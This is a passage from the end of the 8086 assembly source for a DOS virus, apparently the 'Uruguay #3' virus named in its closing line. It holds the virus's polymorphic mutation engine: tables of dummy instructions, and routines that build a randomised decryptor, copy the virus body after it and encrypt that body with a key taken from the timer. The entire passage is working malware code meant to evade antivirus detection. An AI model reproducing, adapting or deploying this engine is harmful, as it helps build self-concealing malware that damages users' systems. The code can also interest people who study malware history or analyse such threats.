                  DW            0C6FEh            ; INC DH
                  DW            0CAFEh            ; DEC DL
                  DW            0CEFEh            ; DEC DH
                  DW            0D233h            ; XOR DX,DX
                  DW            0F632h            ; XOR DH,DH
                  DW            0D232h            ; XOR DL,DL
                  DW            0D033h            ; XOR DX,AX
                  DW            0D02Bh            ; SUB DX,AX
                  DW            0D32Bh            ; SUB DX,BX
                  DW            0D12Bh            ; SUB DX,CX
                  DW            0D22Bh            ; SUB DX,DX
                  DW            0D62Bh            ; SUB DX,SI
                  DW            0EA87h            ; XCHG BP,DX
                  DW            0F286h            ; XCHG DH,DL
                  DW            0D686h            ; XCHG DL,DH

        ; 8 three-byte dummy instructions
three_byte        DB            26h, 32h, 15h      ; ES: XOR DL,[DI]   ; 0713
                  DB            3Eh, 32h, 14h      ; DS: XOR DL,[SI]
                  DB            26h, 33h, 15h      ; ES: XOR DX,[DI]
                  DB            3Eh, 33h, 14h      ; DS: XOR DX,[SI]
                  DB            3Eh, 02h, 14h      ; DS: ADD DL,[SI]
                  DB            3Eh, 03h, 14h      ; DS: ADD DX,[SI]
                  DB            26h, 02h, 15h      ; ES: ADD DL,[DI]
                  DB            26h, 03h, 15h      ; ES: ADD DX,[DI]

        ; SUB/ADD/INC - Counter
counting          DB            0BEh                  ; MOV SI,        ; 072B
                  DB            46h                   ; INC SI
                  DB            83h, 0C6h, 02h        ; ADD SI,2
                  DB            81h, 0EEh, 0FEh, 0FFh ; SUB SI,-2
                  ;
                  DB            0BFh                  ; MOV DI,
                  DB            47h                   ; INC DI
                  DB            83h, 0C7h, 02h        ; ADD DI,2
                  DB            81h, 0EFh, 0FEh, 0FFh ; SUB DI,-2
                  ;
                  DB            0BBh                  ; MOV BX,
                  DB            43h                   ; INC BX
                  DB            83h, 0C3h, 02h        ; ADD BX,2
                  DB            81h, 0EBh, 0FEh, 0FFh ; SUB BX,-2

        ;
@0746             DB            0B8h            ; MOV AX,
                  DB            0Dh             ; OR AX,
                  DB            05h             ; ADD AX,
                  DB            35h             ; XOR AX,
                  ;
@0749             DB            0B9h            ; MOV CX,
                  DB            0C9h            ; 81 C9   OR CX,
                  DB            0C1h            ; 81 C1   ADD CX,
                  DB            0F1h            ; 81 F1   XOR CX,

        ; Segment prefixes
prefixes          DB            3Eh             ; DS:    ; 074E
                  DB            26h             ; ES:
                  DB            2Eh             ; CS:
                  DB            36h             ; SS:

        ; XOR/ADD/SUB - Encryption
        ; 1. Byte
first_byte        DB            31h, 01h, 29h      ; XOR/ADD/SUB   ; 0752
        ; 2. Byte
second_byte       DB            04h, 05h, 07h      ; SI/DI/BX      ; 0755


all_sets          db            ?
set1              db            ?
set2              db            ?
set3              db            ?
si_di_bx          db            ?
value             dw            ?
rand_size         dw            ?
start_offset      dw            ?
mov_pos           dw            ?
xor_sub_add       db            ?
full_length       dw            ?


mutate:        push     ax
               push     bx
               push     si
               push     di
               push     ds
               push     es
               push     cs
               pop      ds
               mov      al,32h
               call     random                          ; random value
               add      bx,offset virus_length+2        ; add virus size to it
               shr      bx,1                            ; DIV 2
               mov      rand_size,bx    ; => randomized virus size in words
               xor      ax,ax
               mov      es,ax
               mov      ax,es:[timer]           ; get a random value from timer
               mov      value,ax                ; as en/decryption value
               push     cs
               pop      es
               cld
               mov      di,offset virus_length  ; store the decryptor right 
                                                ; after the virus
               mov      set1,0                  ; none of the 3 sets used yet
               mov      set2,0
               mov      set3,0
               ; generate init instructions
gen_loop1:     mov      al,3
               call     random
               call     gen_from_set
               cmp      all_sets,1              ; all sets used
               jnz      gen_loop1               ; no, repeat until
               ; now generate somethin like XOR CS:[BX],AX
               call     rand_instruct
               mov      al,4
               call     random                  ; random value for prefix
               push     di
               mov      al,prefixes[bx-1]
               stosb
               mov      al,3
               call     random                  ; random value for decryption
               mov      xor_sub_add,bl          ; type
               mov      al,first_byte[bx-1]
               stosb                            ; store 1. byte
               mov      bl,si_di_bx
               mov      al,second_byte[bx-1]
               stosb                            ; store 2. byte
               call     rand_instruct           ; generate dummies
               ; Now generate the instruction(s) to increase the pointer by 2
               ; Therefore it chooses between the register used for pointer
               ; (si_dx_bx) and the method ( inc, add, sub ).
               dec      bl              ; it still holds si_di_bx before this
               mov      bh,bl
               shl      bl,1
               shl      bl,1
               shl      bl,1
               add      bl,bh
               inc      bl              ; ( si_di-bx - 1 ) * 9 + 1
               mov      cl,bl           ; save it to cl
               mov      al,3
               call     random          ; random value for method
               mov      al,bl
               mov      bl,cl           ; restore from cl
               mov      bh,0
               add      bx,offset counting      ; add offset of table
               cmp      al,1
               jz       case_1          ; method 1
               cmp      al,2
               jz       case_2          ; method 2
               ; method 3 ( SUB reg16,-2 )
               add      bx,4            ; offset 4 of table entry
               mov      ax,ds:[bx]      ; get the 4 bytes and store them
               stosw
               mov      ax,ds:[bx+2]
               stosw
               jmp      end_branch
               ; method 2 ( ADD reg16,2 )
case_2:        inc      bx              ; offset 1 of table entry
               mov      ax,ds:[bx]      ; get the 3 bytes and store them
               stosw
               mov      al,ds:[bx+2]
               stosb
               jmp      end_branch
               ; method 1 ( INC reg16 )
case_1:        mov      al,ds:[bx]      ; get the byte from offset 0 of entry
               stosb                    ; and store it
               call     rand_instruct   ; insert dummies
               stosb                    ; again an INC
               ; here all methods meet again
end_branch:    call     rand_instruct   ; generate dummies
               push     di
               mov      si,offset start
               inc      di              ; leave 2 bytes free for LOOP
               inc      di              
               mov      cx,rand_size
               rep      movsw           ; put the virus after it
               pop      di              ; offset of LOOP
               mov      ax,di
               pop      bx              ; offset of prefix-code
               sub      ax,bx           ; offset between them
               mov      ah,0feh
               sub      ah,al           ; => - (offset+2)
               mov      al,0E2h         ; put LOOP opcode
               stosb
               mov      al,ah           ; put offset
               stosb
               mov      si,di
               push     di
               mov      ax,start_offset         ; starting offset of decryptor
               add      ax,di                   ; + offset of loop end
               sub      ax,offset virus_length+1 ; - (virus length+1)
               mov      di,mov_pos
               stosw                            ; put it into the pointer init
               pop      di
               ; now enccrypt all the stuff
               mov      cx,rand_size
               mov      bx,value
               mov      al,xor_sub_add          ; method of decryption
               sub      si,2                    ; also encrypt the LOOP itself
               mov      di,si
               cmp      al,1                    ; decrypted by XOR ?
               jz       xor_encrypt             ; yes
               cmp      al,2                    ; decrypted by ADD ?
               jz       sub_encrypt             ; yes
               jmp      add_encrypt             ; decrypted by SUB
xor_encrypt:   lodsw
               xor      ax,bx
               stosw
               loop     xor_encrypt
               jmp      encrypted
sub_encrypt:   lodsw
               sub      ax,bx
               stosw
               loop     sub_encrypt
               jmp      encrypted
add_encrypt:   lodsw
               add      ax,bx
               stosw
               loop     add_encrypt
               ; encryption done, now calc the size to write
encrypted:     sub      si,offset virus_length
               mov      full_length,si
               pop      es
               pop      ds
               pop      di
               pop      si
               pop      bx
               pop      ax
               mov      cx,cs:full_length
               ret                      ; back

; This generates the initialisation instructions for the registers used
; in the decryptor. Each time called it generates up to one instruction.
; If all registers are initialisized it sets all_sets to 1
gen_from_set:  mov      al,set1
               and      al,set2
               and      al,set3
               mov      all_sets,al             ; set all_set if all is done
               cmp      set1[bx-1],1            ; did i already generate from
                                                ; this set ?
               jnz      unused                  ; No then do it now
               ret
unused:        mov      set1[bx-1],1            ; set used-flag
               call     rand_instruct           ; generate dummy instructions
               cmp      bl,1
               jz       c_1                     ; use Set 1
               cmp      bl,2
               jz       c_2                     ; use Set 2
               jmp      c_3                     ; use Set 3
               ; Set 1 
               ; MOV SI/DX/BX,value16
               ; for init the pointer
c_1:           mov      al,3
               call     random                  ; random value
               mov      si_di_bx,bl     ; save to remember wich reg is used
               dec      bl
               mov      bh,bl
               shl      bl,1
               shl      bl,1
               shl      bl,1
               add      bl,bh           ; ( x - 1 ) * 9 
               mov      bh,0
               mov      al,counting[bx] ; get one byte from table
               stosb                    ; and store it
               mov      mov_pos,di      ; save the actual position
               add      di,2            ; and leave 2 bytes free for the value16
               ret
               ; Set 2
               ; MOV/OR/ADD AX,value16
               ; for init the decryption value
c_2:           mov      al,4
               call     random          ; random value
               mov      al,@0746[bx-1]  ; get one byte from table
               stosb                    ; and store
               mov      ax,value        ; and then put the value after it
               stosw
               ret
               ; Set 3
               ; MOV/OR/ADD CX,value16
               ; for init the counter for decryption
c_3:           mov      al,4
               call     random          ; random value
               mov      al,@0749[bx-1]  ; get one byte from table
               cmp      bl,1            ; if it is the move then only write
               jz       c_3_1           ; one byte else two
               mov      ah,al
               mov      al,081h         ; first store 081h
               stosb
               mov      al,ah
c_3_1:         stosb                    ; and then the stuff from the table
               mov      ax,rand_size    ; followed by the randomized virus-size
               stosw
               ret

; generate 2 up to 12 dummy instructions
rand_instruct: push     ax
               push     bx
               push     cx
               mov      al,0bh
               call     random          ; random value
               inc      bl
               mov      cx,bx           ; use as counter
gen_loop:      call     gen_dummy       ; generate a single dummy instruction
               loop     gen_loop
               pop      cx
               pop      bx
               pop      ax
               ret

; Generate one dummy instruction
gen_dummy:     push     ax
               push     bx
               mov      al,5
               call     random          ; Get random value
               cmp      bl,1
               jz       byte1           ; generate a one byte instruction
               cmp      bl,2
               jz       byte3           ; generate a three byte instruction
               ; in all other cases generate a two byte instruction
               mov      al,37h
               call     random          ; random value
               dec      bl              ; -1
               shl      bl,1            ; *2
               mov      ax,two_byte[bx] ; get instruction from table
               stosw                    ; and store it
               jmp      done_dummy
               ; Generate a three byte instruction
byte3:         mov      al,8
               call     random          ; random value
               dec      bl              ; -1
               mov      bh,bl
               shl      bl,1
               add      bl,bh           ; *3
               mov      bh,0
               mov      al,three_byte[bx]       ; get instruction from table
               stosb                            ; and store it
               mov      ax,word ptr three_byte[bx+1]
               stosw
               jmp      done_dummy
               ; Generate a one byte instruction
byte1:         mov      al,0ah
               call     random          ; random value
               dec      bl
               mov      al,one_byte[bx] ; get from table
               stosb                    ; and store it

done_dummy:    pop      bx
               pop      ax
               ret



save_rand      dw       0784h

; Get a random value
; Input: AL = upper border
; Output: AL = BX =  random value
;                0 < random value <= upper border

random:        push     si
               push     ds
               push     ax
               mov      ax,save_rand
               cmp      ax,1f40h
               jb       goon_rand
               xor      ax,ax
               mov      save_rand,ax
goon_rand:     mov      si,ax
               mov      ax,0fc00h
               mov      ds,ax
               pop      bx
               lodsb
normalisize:   cmp      al,bl
               jb       rand_ok
               sub      al,bl
               jmp      normalisize
rand_ok:       inc      al
               mov      bl,al
               mov      bh,0
               pop      ds
               pop      si
               add      save_rand,bx
               ret

; here is the end

public virus_length
virus_length:


code    ends

end start


;=================== End of Uruguay #3 Source Code ========================
